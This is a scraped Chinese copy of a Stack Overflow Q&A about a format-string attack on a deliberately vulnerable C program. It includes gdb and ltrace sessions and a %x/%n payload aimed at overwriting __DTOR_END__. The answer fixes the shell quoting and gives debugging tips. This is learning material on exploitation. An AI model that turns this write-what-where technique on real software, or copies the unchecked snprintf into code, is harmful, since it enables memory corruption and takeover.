gpt4 book ai didi

c - 格式化字符串攻击 - 覆盖 __DTOR_END__

转载 作者:太空宇宙 更新时间:2023-11-04 10:38:07 24 4
gpt4 key购买 nike

我正在尝试重复在此 link 中讨论的攻击,但我无法成功。目标是通过格式字符串漏洞覆盖符号 __DTOR_END__ 处的值。

以下是我试过的。易受攻击的程序:

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {
char buf[512];
if (argc < 2) { printf("%s\n","Failed"); return 1; }
snprintf(buf, sizeof(buf), argv[1]); // Vulnerable statement
buf[sizeof (buf) - 1] = '\x00';
return 0;
}

第一步:

$ gcc fmt.c -o fmt_g -g

第 2 步:

$ ltrace ./fmt_g 'AAAA.%9$x'
__libc_start_main(0x8048464, 2, 0xbffff404, 0x80484f0, 0x8048560 <unfinished ...>
snprintf("AAAA.41414141", 512, "AAAA.%9$x", 0x20) = 13
+++ exited (status 0) +++
$

这表明对应于 A 的十六进制 0x41 在 9 %x 之后打印。

第 3 步:

$ nm fmt_g | grep DTOR
08049f20 D __DTOR_END__
08049f1c d __DTOR_LIST__
$

__ DTOR_END__ 的地址是 0x08049f20

第四步:

$ gdb fmt_g
(gdb) disas main
...
0x080484bb <+87>: call 0x80483a0 <snprintf@plt>
...
(gdb) (gdb) break *main+87
Breakpoint 1 at 0x80484bb: file fmt_g.c, line 7.
(gdb) r $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
Starting program: fmt2_g $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n

Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt_g.c:7
7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb)

我得到 SIGSEGV。我正在 Linux 机器上尝试这个,它是小端。出于好奇,我尝试以相反的方式使用地址:

(gdb) r $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
Starting program: fmt2_g $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n

Breakpoint 1, 0x080484bb in main (argc=3, argv=0xbffff3a4) at fmt2_g.c:7
7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb) s
8 buf[sizeof (buf) - 1] = '\x00';
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb)

我不知道我做错了什么。我的想法是我没有正确使用 __ DTOR_END__ 的地址。有人可以提供一些提示吗?

最佳答案

问题实际上非常简单:您的 shell 正在解释 printf 的输出。 \x20 是一个空格字符,因此在第一个示例中,您的 shell 基本上剥离了空格并传递了 \x9f\x04\x08AAAA%x%x... 这会崩溃(通过尝试写入地址 0x4108049f)。在第二个示例中,您最终传递了两个 参数,\x08\x04\x9fAAAA%x%x...;第一个参数没有做任何有趣的事情,所以没有崩溃。

要修复,只需将整个参数括在引号中:r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x% n”。在未来,这里有一些调试技巧要记住(我经常使用):

  • 始终检查程序崩溃的原因。 disas(或者,如果需要的话,x/i $pc)会告诉你崩溃指令,info reg 会告诉你寄存器;总之,这将准确地告诉您程序在崩溃时试图做什么。例如,在第一种情况下,您应该看到 mov 指令正在尝试写入某个寄存器定义的内存地址,并且该寄存器设置为 0x4108049f。
  • 检查您的输入。这是对 p argv[1] 的快速检查,以确保您获得正确的输入。通常很容易忽略导致错误的嵌入空格、NUL 或高位 ASCII 字符输入例程提前终止。

关于c - 格式化字符串攻击 - 覆盖 __DTOR_END__,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36467555/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com